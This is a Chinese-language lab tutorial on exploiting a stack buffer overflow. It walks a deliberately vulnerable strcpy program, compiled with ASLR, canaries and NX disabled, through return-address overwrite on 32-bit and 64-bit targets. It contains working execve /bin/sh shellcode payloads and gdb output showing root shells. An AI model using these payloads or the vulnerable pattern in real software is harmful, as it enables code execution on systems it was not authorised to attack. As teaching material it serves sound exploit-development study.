漏洞代码

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

编译

echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c -m32
chmod 777 vuln

上边的代码中第二部分存在溢出漏洞。

Return Address Overwrite

通过覆盖‘return address’地址来实现代码运行

首先查看main方法中的汇编

gdb vuln
gdb-peda$ disassemble main 
Dump of assembler code for function main:
   0x0804843d <+0>:	push   ebp
   0x0804843e <+1>:	mov    ebp,esp
   0x08048440 <+3>:	and    esp,0xfffffff0
   0x08048443 <+6>:	sub    esp,0x110
   0x08048449 <+12>:	mov    eax,DWORD PTR [ebp+0xc]
   0x0804844c <+15>:	add    eax,0x4
   0x0804844f <+18>:	mov    eax,DWORD PTR [eax]
   0x08048451 <+20>:	mov    DWORD PTR [esp+0x4],eax
   0x08048455 <+24>:	lea    eax,[esp+0x10]
   0x08048459 <+28>:	mov    DWORD PTR [esp],eax
   0x0804845c <+31>:	call   0x8048310 <strcpy@plt>
   0x08048461 <+36>:	lea    eax,[esp+0x10]
   0x08048465 <+40>:	mov    DWORD PTR [esp+0x4],eax
   0x08048469 <+44>:	mov    DWORD PTR [esp],0x8048514
   0x08048470 <+51>:	call   0x8048300 <printf@plt>
   0x08048475 <+56>:	mov    eax,0x0
   0x0804847a <+61>:	leave  
   0x0804847b <+62>:	ret    
End of assembler dump.

测试第一步:Return Address是否可以被覆盖

gdb vuln                
gdb-peda$ r `python -c 'print "A"*300'`
gdb-peda$ p/x $eip

效果如下:

...
...
Program received signal SIGSEGV, Segmentation fault.
...
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
gdb-peda$ p/x $eip  
$1 = 0x41414141

测试第二步:缓冲区到Return Address的offset是多少

结果显示offset为0x10c

0x10c = 0x100 + 0x8 + 0x4

其中

  • 0x100是buf的长度
  • 0x8 是栈对齐长度(alignment space)
  • 0x4 存放呼叫者(本文中的main方法)的EBP值

我们来验证下:通过输入“A” * 268 + “B” * 4来将return address将”AAAA”变为”BBBB”

gdb vuln 
gdb-peda$ r `python -c 'print "A"*268 + "B"*4'` 

效果如下

...
...
Program received signal SIGSEGV, Segmentation fault.
...
...
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686

这样我们就可以通过控制return address来控制程序

exp流程

查看程序保护方式

python
>>> from pwn import *
>>> ELF('vuln').checksec()
[*] '/root/sploitfun/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

查看栈的读写运行权限,发现栈空间可读可写可运行

 H localhost.localdomain  root  ~  more /proc/13972/maps
08048000-08049000 r-xp 00000000 fd:00 69981926                           /root/sploitfun/vuln
08049000-0804a000 r-xp 00000000 fd:00 69981926                           /root/sploitfun/vuln
0804a000-0804b000 rwxp 00001000 fd:00 69981926                           /root/sploitfun/vuln
f7e01000-f7e02000 rwxp 00000000 00:00 0 
f7e02000-f7fc6000 r-xp 00000000 fd:00 34048627                           /usr/lib/libc-2.17.so
f7fc6000-f7fc7000 ---p 001c4000 fd:00 34048627                           /usr/lib/libc-2.17.so
f7fc7000-f7fc9000 r-xp 001c4000 fd:00 34048627                           /usr/lib/libc-2.17.so
f7fc9000-f7fca000 rwxp 001c6000 fd:00 34048627                           /usr/lib/libc-2.17.so
f7fca000-f7fcd000 rwxp 00000000 00:00 0 
f7fd8000-f7fd9000 rwxp 00000000 00:00 0 
f7fd9000-f7fda000 r-xp 00000000 00:00 0                                  [vdso]
f7fda000-f7ffc000 r-xp 00000000 fd:00 34036408                           /usr/lib/ld-2.17.so
f7ffc000-f7ffd000 r-xp 00021000 fd:00 34036408                           /usr/lib/ld-2.17.so
f7ffd000-f7ffe000 rwxp 00022000 fd:00 34036408                           /usr/lib/ld-2.17.so
fffdd000-ffffe000 rwxp 00000000 00:00 0                                  [stack]

运行如下命令查看buf地址

gdb vuln
gdb-peda$ b main
gdb-peda$ r
gdb-peda$ p &buf

结果如下

gdb-peda$ p &buf
$1 = (char (*)[256]) 0xffffd550

构造如下结构并调试

shellcode+padding+return_address
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"* 243 + "\x30\xd4\xff\xff"

调试成功

gdb-peda$ r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"* 243 + "\x30\xd4\xff\xff"'`
Starting program: /root/sploitfun/vuln `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"* 243 + "\x30\xd4\xff\xff"'`
Input:1?h//shh/bin𸀿P𸀿S𸀿
                           巴€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0?
process 27566 is executing new program: /usr/bin/bash
sh-4.2# 

直接运行却报错

 H localhost.localdomain  root  ~ | sploitfun  1  ./vuln `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"* 243 + "\x30\xd4\xff\xff"'`
Input:1?h//shh/bin𸀿P𸀿S𸀿
                           巴€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0?
段错误

最后发现是环境变量出了问题,gdb与直接运行程序,造成了不同的环境变量,这些环境变量值写在stack中,造成了栈地址的不同,一种简单的解决方法是通过这个项目来统一环境变量https://github.com/hellman/fixenv

采用fixenv项目来统一环境变量,例如

./r.sh ./vuln
./r.sh gdb ./vuln

统一环境变量之后的buf地址

(gdb) p &buf
$1 = (char (*)[256]) 0xffffd510

最后的结果

 H localhost.localdomain  root  ~ | sploitfun  ./r.sh ./vuln `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"* 243 + "\x10\xd5\xff\xff"'`
Input:1?h//shh/bin𸀿P𸀿S𸀿
                           巴€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
sh-4.2# who
root     pts/0        Nov  7 14:00 (61.172.240.228)
root     pts/2        Nov  7 14:09 (61.172.240.228)

64位版本

首先关于64-bit你需要了解的是

  • 通用寄存器被扩展到64-bit,名字变为RAX, RBX, RCX, RDX, RSI,RDI.
  • ESP,EBP,EIP被扩展到64-bit,名字变为RIP, RBP,RSP
  • 增加了额外的寄存器,从R8到R15
  • 指针变成了8-bytes的长度
  • 在栈上push/pop为8字节宽
  • 最大的有效地址位0x00007FFFFFFFFFFF.
  • 参数的传递通过寄存器来完成

代码同上,编译命令

echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
chmod +x vuln

gdb调试

r `python -c 'print "A"*300'`

结果

...
RSP: 0x7fffffffe3d8 ('A' <repeats 36 times>)
RIP: 0x4005d4 (<main+87>:	ret)
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x7ffff7a5a27d (<_IO_vfprintf_internal+19661>:	cmp    BYTE PTR [rbp-0x510],0x0)
R10: 0x4141414141414141 ('AAAAAAAA')
R11: 0x246 
R12: 0x400490 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe4b0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
...

程序崩溃了,但是并没有覆盖掉RIP,这是因为最大的地址位0x00007FFFFFFFFFFF,我们把RIP覆盖成了非法的地址0x4141414141414141这造成了进程的异常,为了能够控制RIP,我们需要把它的值变为0x0000414141414141,现在我们的目标就是找到这个offset,我们可以使用cyclic来完成.

找到了offset

gdb-peda$ r `python -c 'print "A"*270'`

结果

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000414141414141 in ?? ()

找到写入shellcode的地址

gdb-peda$ p &buf
$2 = (char (*)[256]) 0x7fffffffe2f0
gdb-peda$ x/32gx 0x7fffffffe2f0
0x7fffffffe2f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe300:	0x4141414141414141	0x4141414141414141
0x7fffffffe310:	0x4141414141414141	0x4141414141414141

27字节的64位shellcode如下\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 或者\x90\x90\x90\x90\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x31\xf6\x6a\x3b\x58\x99\x0f\x05

最终结果

gdb-peda$ r `python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" +"A"* 237 + "\xf0\xe2\xff\xff\xff\x7f"'`
...
...
Input:1?谎𽃭𺀿𸳮H髹ST_𼁒WT^?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA疴
process 21665 is executing new program: /usr/bin/bash
Xshellsh-4.2# who   
[New process 21674]
process 21674 is executing new program: /usr/bin/who
Missing separate debuginfos, use: debuginfo-install bash-4.2.46-33.el7.x86_64
root     pts/0        Nov 19 13:31 (61.172.240.228)